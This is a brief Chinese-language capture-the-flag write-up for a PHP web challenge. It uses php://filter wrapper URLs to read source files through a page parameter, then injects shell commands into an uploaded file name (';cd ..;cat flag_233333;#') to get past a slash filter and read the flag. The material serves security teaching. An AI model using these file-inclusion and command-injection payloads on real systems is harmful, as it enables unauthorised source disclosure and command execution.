随便输入账号密码，没什么提示，试一下有没有注册界面register.php

注册并登录

试一下伪协议读取源码/user.php?page=php://filter/convert.base64-encode/resource=user

注意到这里有function.php

/user.php?page=php://filter/convert.base64-encode/resource=function

读取/user.php?page=php://filter/convert.base64-encode/resource=ffffllllaaaaggg

但不成功

查了一下，得用这个url

//user.php?page=php://filter/convert.base64-encode/resource=ffffllllaaaaggg

读取m4aaannngggeee

/user.php?page=m4aaannngggeee

应该是文件上传，抓包，修改文件名

尝试切到根目录的时候，发现/被过滤了，使用cd ..
payload：;cd ..;ls;#

读取flag：;cd ..;cat flag_233333;#